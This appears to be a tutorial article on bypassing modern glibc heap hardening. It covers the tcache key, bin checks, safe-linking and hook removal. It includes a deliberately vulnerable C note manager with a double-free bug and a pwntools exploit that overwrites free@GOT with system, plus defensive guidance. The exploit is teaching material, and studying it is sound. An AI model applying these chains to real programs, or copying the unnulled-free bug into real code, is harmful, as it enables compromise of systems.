Defeating Modern glibc Heap Hardening (tcache key, double-free checks)

Defeating Modern glibc Heap Hardening (tcache key, double-free checks) - article cover image RE & Pwn
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Between glibc 2.26 and 2.35 the allocator grew a layered set of integrity checks specifically to make heap exploitation harder: a tcache double-free key, unsorted- and small-bin consistency checks, safe-linking with an alignment guard, tightened _int_free validation, and — in 2.34 — the removal of the __malloc_hook/__free_hook targets that a decade of exploits relied on. This capstone maps each check to the technique it was meant to stop and to the practical bypass or pivot that keeps exploitation alive. It is the version-aware cheat sheet you consult once you know the target’s exact glibc.

The through-line is that these checks are *targeted*, not comprehensive: each closes a specific naive move, and each has a known cost-raising bypass — clear the key before a double-free, leak the heap to satisfy safe-linking, forge a consistent fake to pass a list check, pivot from removed hooks to _IO_FILE or the GOT. Understanding precisely what each check reads (and, crucially, what it does *not* read) is what lets you choose a technique that the target’s glibc still permits. We reference the versions where each protection landed: 2.29 (key, unsorted check), 2.32 (safe-linking, alignment), 2.34 (hook removal).

Attack Prerequisites

Defeating hardening presupposes you already have a heap bug; the work is in satisfying or sidestepping the checks between the bug and code execution:

  • A concrete heap bug — UAF, double-free, or overflow — as the entry point; the checks constrain *how* you turn it into a write, not whether the bug exists.
  • A heap leak to satisfy safe-linking (>= 2.32) whenever the chain routes through the tcache or fastbin fast path.
  • A libc leak to aim writes at _IO_FILE/GOT targets now that the hooks are gone (>= 2.34).
  • Exact glibc version knowledge — the correct bypass is entirely version-dependent, so fingerprint the libc before committing to a plan.

How It Works

The tcache double-free key (glibc 2.29) is the most visible check. On free, tcache_put sets e->key to a per-thread tcache_key (a random value in modern glibc; in 2.29 it was the tcache_perthread_struct address). On the next free, if the chunk already carries that key, glibc scans the bin and aborts with free(): double free detected in tcache 2. The bypass is direct: the check only fires when key still matches, so a UAF write that clears or changes key before the second free evades it entirely. Where you cannot write the key, you can instead cycle the chunk out of and back into the bin so the duplicate is not detected as an immediate re-free — the check inspects the key, not the allocation history.

The list consistency checks guard the doubly-linked bins. glibc 2.29 added if (bck->fd != victim) malloc_printerr("malloc(): corrupted unsorted chunks"), retiring the naive unsorted bin write; the small bin gained malloc(): smallbin double linked list corrupted, and the classic unlink macro has long enforced fd->bk == p && bk->fd == p. The common bypass is to forge a self-consistent fake structure so the reciprocal pointers validate — the reason modern unlink-style attacks (large bin, tcache stashing) require laying out a small fake object rather than a single stray pointer. _int_free similarly checks alignment (free(): invalid pointer), size sanity (free(): invalid size), and the top chunk (corrupted top size); these constrain the shapes of chunks you can free but are satisfied by keeping forged sizes legal and aligned.

Safe-linking and the alignment check (2.32) obfuscate tcache/fastbin next with chunk_addr >> 12 and reject misaligned popped chunks. The bypass is a heap leak (the first free into an empty bin self-leaks pos >> 12) plus a PROTECT_PTR computation and an aligned target — covered in depth in the safe-linking article. Finally, glibc 2.34 removed __malloc_hook and __free_hook, deleting the easiest post-arbitrary-write control-flow targets. The pivot is to aim the write elsewhere: a GOT entry under Partial RELRO, an _IO_FILE structure’s vtable/fields for File Stream-Oriented Programming, the _IO_list_all list, or exit-handler structures. No single check is fatal; each just redirects the exploit toward the next-easiest primitive.

Vulnerable Code / Setup

A note manager that permits a double-free and a UAF write is enough to demonstrate the key bypass concretely — the missing ptrs[i] = NULL allows both the second free and the key-clearing write:

// gcc -O0 -fno-stack-protector -no-pie hardened.c -o hardened
#include <stdlib.h>
#include <string.h>
char *ptrs[16]; size_t szs[16];

void add(int i, size_t n){ ptrs[i]=malloc(n); szs[i]=n; }
void del(int i){ free(ptrs[i]); }               // BUG: no null (double free + UAF)
void edit(int i, char *s, size_t n){ memcpy(ptrs[i], s, n); } // clears key etc.
C

The entire plan hinges on the glibc version, so pin it down first — this build profile plus the version tells you exactly which checks are in play:

$ checksec --file=./hardened
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ ldd --version | head -1
ldd (Ubuntu GLIBC 2.35-0ubuntu3) 2.35   # key + safe-linking + hooks removed
Bash

Walkthrough / Exploitation

Start with the tcache double-free key bypass. A blind second free aborts; clearing the key field (the second 8 bytes of the freed chunk) via the UAF write first lets the second free succeed:

from pwn import *
io = process('./hardened')
def add(i,n):     ...
def free(i):      ...
def edit(i,data): ...

add(0, 0x48); free(0)                 # chunk 0 -> tcache; key = tcache_key
edit(0, p64(0) + p64(0))              # next=0, KEY=0 -> defeats the 2.29 check
free(0)                                # second free now succeeds (no abort)
Python

Confirm the bin now holds the chunk twice (the duplicate that a poison exploits), and inspect the key field to prove the bypass under pwndbg:

pwndbg> bins
tcachebins
0x50 [  2]: 0x5555...2a0 -> 0x5555...2a0 (self-loop: double free present)
pwndbg> vis_heap_chunks   # key word == 0, so 'double free detected' did not fire
Bash

Now compose the version-appropriate chain. On 2.35 the fast path is safe-linked, so recover the heap (self-leak), mangle the poison, and — since hooks are gone — aim at an _IO_FILE/GOT target. The double-free duplicate gives the aliased chunk whose next you overwrite:

def protect(pos, ptr):  return (pos >> 12) ^ ptr
# heap leak recovered as in the safe-linking article -> 'heap'
chunk = heap + 0x2a0
target = elf.got['free']              # aligned GOT slot (Partial RELRO), post-2.34

add(1, 0x48)                          # returns the aliased chunk
edit(1, p64(protect(chunk, target)))  # mangled poison of the duplicated next
add(2, 0x48)                          # pop the real chunk
arb = add(3, 0x48)                    # pop 'target' -> arbitrary allocation
edit(3, p64(libc.sym['system']))      # write over free@GOT (hook replacement)
Python

The same skeleton adapts per version: on 2.27 (no key, no safe-linking, hooks present) drop the key-clear and the mangle and aim at __free_hook; on 2.31 (key present, no safe-linking) keep the key-clear but write raw pointers; on 2.32-2.33 add the mangle and alignment care but hooks still exist; on 2.34+ keep everything and pivot the final target to _IO_FILE/GOT/exit handlers. The bypass toolkit is modular precisely because the checks are modular — you enable each countermeasure only when its corresponding protection is present.

Note: The tcache key is not a secret you must leak — it is a *tripwire*. The check aborts only when a re-freed chunk still carries the key, so the winning move is almost always to zero or alter the key through the same write primitive that seeds the rest of the attack, rather than to try to predict or leak tcache_key. Where a write into the freed chunk is impossible, cross-bin shuffles (moving the chunk through a fastbin/unsorted bin) can launder the duplicate past the check.

Opsec: The most common failure on a hardened target is a version mismatch: a chain written for 2.27 aborts instantly on 2.35 (safe-linking demangle yields garbage; the key check fires) and a 2.35 chain wastes a leak on 2.27. Fingerprint the libc first — build-id, version string, or matching the leaked bytes against a libc database — and gate each mitigation-specific step behind the detected version so one exploit script serves multiple targets.

Detection and Defense

From the defender’s chair, the point of these checks is to convert silent corruption into loud aborts and to raise attacker cost; the complementary controls close the gaps the checks leave:

  • Run the newest practical glibc — every version from 2.29 to 2.34 added checks or removed targets; the delta directly shrinks the attacker’s option space.
  • Null freed pointers and adopt ownership models so the double-free and UAF writes that seed every bypass cannot occur in the first place.
  • Full RELRO removes the GOT pivot that becomes attractive once the hooks are gone; combine with PIE + ASLR to force leaks.
  • Alert on glibc abort stringsfree(): double free detected in tcache 2, malloc(): corrupted unsorted chunks, smallbin double linked list corrupted, unaligned tcache chunk detected, and corrupted top size are all high-signal exploitation indicators in logs and cores.
  • Sanitizers and hardened allocators — ASan/Valgrind in CI catch the root bugs; GWP-ASan/scudo catch a probabilistic fraction at runtime in production.

Real-World Impact

The 2.26-to-2.35 hardening timeline is one of the clearest public examples of an allocator maintainer team responding, check by check, to a maturing exploitation toolkit. Each addition measurably changed real exploit development: the 2.29 key ended trivial tcache double-frees, safe-linking in 2.32 made one-shot poisons without a leak impractical, and the 2.34 hook removal forced the entire field to migrate to _IO_FILE/FSOP and exit-handler techniques. The net effect is not that glibc heap exploitation ended — CTFs and research show it very much did not — but that it now reliably requires an information leak and a version-matched plan, which is exactly the higher bar the checks were designed to impose.

Conclusion

Modern glibc heap hardening is a stack of targeted tripwires: the tcache double-free key, the unsorted/small-bin consistency checks, safe-linking with its alignment guard, tightened _int_free validation, and the removal of the malloc/free hooks. None is a wall — each closes one naive move and each has a matching bypass or pivot: clear the key, forge consistent fakes, leak the heap and mangle, aim at _IO_FILE/GOT instead of hooks. The decisive skill is version awareness: know exactly which checks the target’s glibc enforces, enable only the corresponding countermeasures, and the modern heap remains exploitable — just no longer blindly.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL